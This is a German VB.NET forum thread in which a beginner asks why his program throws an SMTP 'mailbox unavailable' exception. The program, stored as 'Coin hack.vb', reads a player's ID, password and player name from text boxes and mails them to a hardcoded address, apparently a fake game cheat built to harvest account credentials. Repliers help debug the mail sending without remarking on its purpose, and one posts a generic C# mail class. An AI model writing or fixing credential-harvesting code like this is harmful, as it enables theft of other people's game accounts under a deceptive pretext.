SmtpFailedRecipientException wurde nicht behandelt.

  • VB.NET

Es gibt 5 Antworten in diesem Thema. Der letzte Beitrag () ist von icemanns.

    SmtpFailedRecipientException wurde nicht behandelt.

    Also ich habe ein Problem mit dem ich mich überhaupt nicht auskenne unswar sagt mir VB beim Debuggen:

    Spoiler anzeigen
    SmtpFailedRecipientException wurde nicht behandelt.


    Postfach nicht verfügbar. Die Serverantwort war: Requested action not taken:
    mailbox unavailable




    Beim erstellten Programm sagt mir Windows:
    Spoiler anzeigen
    Informationen über das Aufrufen von JIT-Debuggen
    anstelle dieses Dialogfelds finden Sie am Ende dieser Meldung.

    ************** Ausnahmetext **************
    System.Net.Mail.SmtpFailedRecipientException: Postfach nicht verfügbar. Die Serverantwort war: Requested action not taken: mailbox unavailable
    bei System.Net.Mail.SmtpTransport.SendMail(MailAddress sender, MailAddressCollection recipients, String deliveryNotify, SmtpFailedRecipientException& exception)
    bei System.Net.Mail.SmtpClient.Send(MailMessage message)
    bei WindowsApplication1.Form1.Timer1_Tick(Object sender, EventArgs e) in C:\Users\Fabian\Documents\Visual Studio 2010\Projects\Coin hack.vb:Zeile 89.
    bei System.Windows.Forms.Timer.OnTick(EventArgs e)
    bei System.Windows.Forms.Timer.TimerNativeWindow.WndProc(Message& m)
    bei System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


    ************** Geladene Assemblys **************
    mscorlib
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.269 (RTMGDR.030319-2600).
    CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/mscorlib.dll.
    ----------------------------------------
    Server Admin Coins Module
    Assembly-Version: 1.0.0.0.
    Win32-Version: 1.0.0.0.
    CodeBase: file:///C:/Users/Fabian/Documents/Visual Studio 2010/Projects/Server Admin Coins Module/Server Admin Coins Module/obj/x86/Release/Server Admin Coins Module.exe.
    ----------------------------------------
    Microsoft.VisualBasic
    Assembly-Version: 10.0.0.0.
    Win32-Version: 10.0.30319.1 built by: RTMRel.
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/Microsoft.VisualBasic/v4.0_10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll.
    ----------------------------------------
    System
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.269 built by: RTMGDR.
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll.
    ----------------------------------------
    System.Core
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.233 built by: RTMGDR.
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll.
    ----------------------------------------
    System.Windows.Forms
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.278 built by: RTMGDR.
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll.
    ----------------------------------------
    System.Drawing
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.282 built by: RTMGDR.
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll.
    ----------------------------------------
    System.Runtime.Remoting
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.1 (RTMRel.030319-0100).
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Runtime.Remoting/v4.0_4.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll.
    ----------------------------------------
    DevComponents.DotNetBar2
    Assembly-Version: 10.7.0.0.
    Win32-Version: 10.7.0.0.
    CodeBase: file:///C:/Windows/assembly/GAC_MSIL/DevComponents.DotNetBar2/10.7.0.0__7eb7c3a35b91de04/DevComponents.DotNetBar2.dll.
    ----------------------------------------
    System.Xml
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.233 built by: RTMGDR.
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll.
    ----------------------------------------
    System.Configuration
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.1 (RTMRel.030319-0100).
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll.
    ----------------------------------------
    System.resources
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.1 built by: RTMRel.
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.resources/v4.0_4.0.0.0_de_b77a5c561934e089/System.resources.dll.
    ----------------------------------------
    mscorlib.resources
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.235 (RTMGDR.030319-2300).
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/mscorlib.resources/v4.0_4.0.0.0_de_b77a5c561934e089/mscorlib.resources.dll.
    ----------------------------------------
    System.Windows.Forms.resources
    Assembly-Version: 4.0.0.0.
    Win32-Version: 4.0.30319.1 built by: RTMRel.
    CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms.resources/v4.0_4.0.0.0_de_b77a5c561934e089/System.Windows.Forms.resources.dll.
    ----------------------------------------

    ************** JIT-Debuggen **************
    Um das JIT-Debuggen (Just-In-Time) zu aktivieren, muss in der
    Konfigurationsdatei der Anwendung oder des Computers
    (machine.config) der jitDebugging-Wert im Abschnitt system.windows.forms festgelegt werden.
    Die Anwendung muss mit aktiviertem Debuggen kompiliert werden.

    Zum Beispiel:

    <configuration>
    <system.windows.forms jitDebugging="true" />
    </configuration>

    Wenn das JIT-Debuggen aktiviert ist, werden alle nicht behandelten
    Ausnahmen an den JIT-Debugger gesendet, der auf dem
    Computer registriert ist, und nicht in diesem Dialogfeld behandelt.






    Mein Quellcode sieht folgender Massen aus:


    Imports System.Net.Mail
    Public Class Form1
    Dim smtpServer As New SmtpClient()
    Dim mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("metincoinhack@web.de", "Passwort")
    'using gmail
    smtpServer.Port = 587
    smtpServer.Host = "smtp.web.de"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("metincoinhack@web.de")
    mail.To.Add("metincoinhack@web.de")
    mail.Subject = "ID : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "Playername : " & TextBox3.Text
    smtpServer.Send(mail)

    Wer mir helfen kann bitte Antworten.
    I know I'm a Newbie :)

    Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von „FabianRaZER“ ()

    Ordne mal Deinen Code in Deinem Post (Zeilemumbrüche einfügen).
    Es sieht mir hier tatsächlich so aus, als ob hier ein Try / Catch mit genau diesem Fehler gerechtfertigt ist.
    Falls Du diesen Code kopierst, achte auf die C&P-Bremse.
    Jede einzelne Zeile Deines Programms, die Du nicht explizit getestet hast, ist falsch :!:
    Ein guter .NET-Snippetkonverter (der ist verfügbar).
    Programmierfragen über PN / Konversation werden ignoriert!
    1. Bitte formatiere deinen Quellcode. Sieht fürchterlich aus (nicht Editor sondern Quellcode verwenden)
    2. msdn.microsoft.com/de-de/libra…edrecipientexception.aspx
    Eventuell gibt es diese E-Mail nicht, kein Internet, Firewall, etc.
    Aber falsche E-Mail-Adresse würde ich mal sagen.

    lg
    ScheduleLib 0.0.1.0
    Kleine Lib zum Anlaufen von Code zu bestimmten Zeiten
    @RodFromGermany ich habe den Code mal so geordnet und die e-mail mal gelassen. Was meinst du mit Try / Catch?
    @fichz Die E-mail Addresse gibt es zum Test kannst du mir auch eine e-mail schicken.
    @icemanns Was meinst du mit From-E-Mail Adresse oder Timeout?
    I know I'm a Newbie :)
    Link 1: (Timeout)
    msdn.microsoft.com/de-de/libra….net.mail.smtpclient.aspx

    Link 2: (From)
    msdn.microsoft.com/en-us/libra…net.mail.mailmessage.aspx


    Und weil heute ein so schöner Tag ist. Hier mal ein Beispeil einer Mailclass ist zwar in C# aber die Methoden und Properties sind unter VB.Net identisch

    Quellcode

    1. using System;
    2. using System.Net.Mail;
    3. using System.Net;
    4. namespace FooBar
    5. {
    6. class clsMail
    7. {
    8. private string mailserver;
    9. private string maillogin;
    10. private string mailpasswort;
    11. private int mailport;
    12. private int timeout = 5000;
    13. private bool html = false;
    14. private bool ssl = false;
    15. public clsMail(string server, string user, string passwort, int port)
    16. {
    17. mailserver = server;
    18. maillogin = user;
    19. mailpasswort = passwort;
    20. mailport = port;
    21. }
    22. public bool sendmail(string mailtext, string mailto, string mailfrom)
    23. {
    24. SmtpClient smtp = new SmtpClient(mailserver, mailport);
    25. MailMessage mail = new MailMessage();
    26. smtp.Timeout = timeout;
    27. smtp.Credentials = new NetworkCredential(maillogin, mailpasswort);
    28. smtp.EnableSsl = ssl;
    29. mail.IsBodyHtml = html;
    30. mail.From = new MailAddress(mailfrom);
    31. mail.To.Add(mailto);
    32. mail.Body = mailtext;
    33. try
    34. {
    35. smtp.Send(mail);
    36. return true;
    37. }
    38. catch (Exception)
    39. {
    40. return false;
    41. }
    42. }
    43. public int mailtimeout
    44. {
    45. set
    46. {
    47. timeout = value;
    48. }
    49. get
    50. {
    51. return (timeout);
    52. }
    53. }
    54. public bool formathtml
    55. {
    56. set
    57. {
    58. html = value;
    59. }
    60. get
    61. {
    62. return (html);
    63. }
    64. }
    65. public bool setssl
    66. {
    67. set
    68. {
    69. ssl = value;
    70. }
    71. get
    72. {
    73. return (ssl);
    74. }
    75. }
    76. }
    77. }